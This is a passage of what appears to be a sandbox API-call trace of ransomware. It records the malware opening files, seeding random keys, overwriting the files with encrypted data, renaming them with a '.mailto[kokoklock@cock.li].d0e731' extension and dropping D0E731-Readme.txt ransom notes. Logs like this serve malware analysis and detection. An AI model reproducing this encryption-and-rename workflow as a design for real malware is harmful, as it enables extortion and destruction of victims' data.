[0068.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0068.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0068.656] WriteFile (in: hFile=0x768, lpBuffer=0x3423a88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbb2fa50, lpOverlapped=0x0 | out: lpBuffer=0x3423a88*, lpNumberOfBytesWritten=0xbb2fa50*=0x8, lpOverlapped=0x0) returned 1 [0068.657] WriteFile (in: hFile=0x768, lpBuffer=0xbb2fa68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbb2fa50, lpOverlapped=0x0 | out: lpBuffer=0xbb2fa68*, lpNumberOfBytesWritten=0xbb2fa50*=0x4, lpOverlapped=0x0) returned 1 [0068.657] WriteFile (in: hFile=0x768, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbb2fa50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbb2fa50*=0x4, lpOverlapped=0x0) returned 1 [0068.657] WriteFile (in: hFile=0x768, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbb2fa50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbb2fa50*=0x6c, lpOverlapped=0x0) returned 1 [0068.657] WriteFile (in: hFile=0x768, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbb2fa50, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0xbb2fa50*=0x20, lpOverlapped=0x0) returned 1 [0068.657] WriteFile (in: hFile=0x768, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbb2fa50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbb2fa50*=0x4, lpOverlapped=0x0) returned 1 [0068.657] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.657] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a60) returned 1 [0068.657] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a88) returned 1 [0068.657] CloseHandle (hObject=0x768) returned 1 [0071.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bf98 [0071.419] wcscpy (in: _Dest=0x347bf98, _Source="C:\\588bce7c90097ed212\\1046\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf" [0071.419] wcscat (in: _Dest=0x347bf98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.419] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.422] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.422] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bf98) returned 1 [0071.422] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.423] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1046\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0071.423] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt" [0071.423] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\d0e731-readme.txt")) returned 0x20 [0071.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fac38) returned 1 [0071.423] RtlExitUserThread (Status=0x1) Thread: id = 223 os_tid = 0x11f4 [0063.481] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0064.633] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.399] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b0 [0071.399] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0xbbaf928 | out: lpFileSize=0xbbaf928*=80738) returned 1 [0071.399] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x13b5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.399] ReadFile (in: hFile=0x7b0, lpBuffer=0xbbaf8fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbbaf8f8, lpOverlapped=0x0 | out: lpBuffer=0xbbaf8fc*, lpNumberOfBytesRead=0xbbaf8f8*=0x4, lpOverlapped=0x0) returned 1 [0071.401] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423270 [0071.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231a8 [0071.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231f8 [0071.401] NtQuerySystemTime (in: CurrentTime=0xbbaf8d4 | out: CurrentTime=0xbbaf8d4*=132121176292910370) returned 0x0 [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x377a7ac9 [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x3f62333 [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xab8ca35f [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xe6cd1a [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x1f244dd [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xc5f7602a [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xc3f2d0ee [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x919b0eff [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xae6583af [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x384174bd [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x4a75846d [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x3fdefaa [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x8ab40fef [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x314e3223 [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x16aadbd1 [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x54babb39 [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xbfc1f9bf [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xea9d3e47 [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x368a1ab9 [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xdeddc741 [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xb167488a [0071.401] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xc6cf270f [0071.402] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x90cd9d35 [0071.402] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x52ecb57d [0071.402] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xf78eef5a [0071.402] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x789510bc [0071.402] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xc6da12b6 [0071.402] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x388323e [0071.402] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x71b52ba [0071.402] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x17df1a65 [0071.402] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0x9481a7d1 [0071.402] RtlRandom (in: Seed=0xbbaf8e0 | out: Seed=0xbbaf8e0) returned 0xd5a5a333 [0071.413] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.413] ReadFile (in: hFile=0x7b0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbbaf8ac, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbbaf8ac*=0x4096, lpOverlapped=0x0) returned 1 [0071.413] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423180) returned 1 [0071.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.415] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423220 [0071.415] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423108 [0071.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423108) returned 1 [0071.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.415] WriteFile (in: hFile=0x7b0, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbbaf8ac, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xbbaf8ac*=0x4096, lpOverlapped=0x0) returned 1 [0071.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.415] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x13b62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.415] WriteFile (in: hFile=0x7b0, lpBuffer=0x3423220*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbbaf8e4, lpOverlapped=0x0 | out: lpBuffer=0x3423220*, lpNumberOfBytesWritten=0xbbaf8e4*=0x20, lpOverlapped=0x0) returned 1 [0071.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423220) returned 1 [0071.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.415] WriteFile (in: hFile=0x7b0, lpBuffer=0x34231d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbbaf8f8, lpOverlapped=0x0 | out: lpBuffer=0x34231d0*, lpNumberOfBytesWritten=0xbbaf8f8*=0x8, lpOverlapped=0x0) returned 1 [0071.415] WriteFile (in: hFile=0x7b0, lpBuffer=0xbbaf910*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbbaf8f8, lpOverlapped=0x0 | out: lpBuffer=0xbbaf910*, lpNumberOfBytesWritten=0xbbaf8f8*=0x4, lpOverlapped=0x0) returned 1 [0071.416] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbbaf8f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbbaf8f8*=0x4, lpOverlapped=0x0) returned 1 [0071.416] WriteFile (in: hFile=0x7b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbbaf8f8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbbaf8f8*=0x6c, lpOverlapped=0x0) returned 1 [0071.416] WriteFile (in: hFile=0x7b0, lpBuffer=0x34231a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbbaf8f8, lpOverlapped=0x0 | out: lpBuffer=0x34231a8*, lpNumberOfBytesWritten=0xbbaf8f8*=0x20, lpOverlapped=0x0) returned 1 [0071.416] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbbaf8f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbbaf8f8*=0x4, lpOverlapped=0x0) returned 1 [0071.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230e0) returned 1 [0071.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.416] CloseHandle (hObject=0x7b0) returned 1 [0071.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.416] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" [0071.416] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.416] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.417] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.417] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.417] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1046\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0071.417] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt" [0071.417] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\d0e731-readme.txt")) returned 0xffffffff [0071.417] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.419] WriteFile (in: hFile=0x3a4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xbbaf8f4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xbbaf8f4*=0x481, lpOverlapped=0x0) returned 1 [0071.420] CloseHandle (hObject=0x3a4) returned 1 [0071.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8328) returned 1 [0071.421] RtlExitUserThread (Status=0x1) Thread: id = 224 os_tid = 0x11f8 [0063.481] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0066.374] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.658] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x764 [0068.658] GetFileSizeEx (in: hFile=0x764, lpFileSize=0xbc2faf4 | out: lpFileSize=0xbc2faf4*=3865) returned 1 [0068.658] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0xf15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.658] ReadFile (in: hFile=0x764, lpBuffer=0xbc2fac8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbc2fac4, lpOverlapped=0x0 | out: lpBuffer=0xbc2fac8*, lpNumberOfBytesRead=0xbc2fac4*=0x4, lpOverlapped=0x0) returned 1 [0068.659] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a60 [0068.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a88 [0068.660] NtQuerySystemTime (in: CurrentTime=0xbc2faa0 | out: CurrentTime=0xbc2faa0*=132121176265567132) returned 0x0 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x12ad4aea [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x4100f9b5 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xcfb8ee43 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x9b3d080e [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x9a9d2643 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x9a8dda0e [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xdf145c96 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xe1a138a8 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xc5e38188 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x622819 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xfc405c46 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xa281b11a [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xe6c2871d [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x3c1780a0 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xcda5ccfa [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x849ebce5 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xadc172b7 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x92bcfd83 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xc42fd390 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x330c517c [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x17df934f [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x3fe2b856 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x10fc7523 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x8409b56d [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xd8bf1d6 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x3c5bed00 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xdd4be7ba [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x3ea6e604 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xea24af95 [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x8150b92f [0068.660] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0xe06a3805 [0068.661] RtlRandom (in: Seed=0xbc2faac | out: Seed=0xbc2faac) returned 0x2be440f7 [0068.671] ReadFile (in: hFile=0x764, lpBuffer=0x3475830, nNumberOfBytesToRead=0xf19, lpNumberOfBytesRead=0xbc2faa0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbc2faa0*=0xf19, lpOverlapped=0x0) returned 1 [0068.671] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xbc2fa68 | out: lpNewFilePointer=0x0) returned 1 [0068.671] WriteFile (in: hFile=0x764, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xf19, lpNumberOfBytesWritten=0xbc2fa9c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xbc2fa9c*=0xf19, lpOverlapped=0x0) returned 1 [0068.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424078 [0068.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424078) returned 1 [0068.672] WriteFile (in: hFile=0x764, lpBuffer=0x3423d80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbc2fa98, lpOverlapped=0x0 | out: lpBuffer=0x3423d80*, lpNumberOfBytesWritten=0xbc2fa98*=0x20, lpOverlapped=0x0) returned 1 [0068.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0068.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0068.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0068.672] WriteFile (in: hFile=0x764, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbc2fac4, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xbc2fac4*=0x8, lpOverlapped=0x0) returned 1 [0068.672] WriteFile (in: hFile=0x764, lpBuffer=0xbc2fadc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbc2fac4, lpOverlapped=0x0 | out: lpBuffer=0xbc2fadc*, lpNumberOfBytesWritten=0xbc2fac4*=0x4, lpOverlapped=0x0) returned 1 [0068.672] WriteFile (in: hFile=0x764, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbc2fac4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbc2fac4*=0x4, lpOverlapped=0x0) returned 1 [0068.672] WriteFile (in: hFile=0x764, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbc2fac4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbc2fac4*=0x6c, lpOverlapped=0x0) returned 1 [0068.672] WriteFile (in: hFile=0x764, lpBuffer=0x3423a60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbc2fac4, lpOverlapped=0x0 | out: lpBuffer=0x3423a60*, lpNumberOfBytesWritten=0xbc2fac4*=0x20, lpOverlapped=0x0) returned 1 [0068.672] WriteFile (in: hFile=0x764, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbc2fac4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbc2fac4*=0x4, lpOverlapped=0x0) returned 1 [0068.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a60) returned 1 [0068.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.672] CloseHandle (hObject=0x764) returned 1 [0071.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bf00 [0071.393] wcscpy (in: _Dest=0x347bf00, _Source="C:\\588bce7c90097ed212\\1053\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf" [0071.393] wcscat (in: _Dest=0x347bf00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.393] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.396] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731", 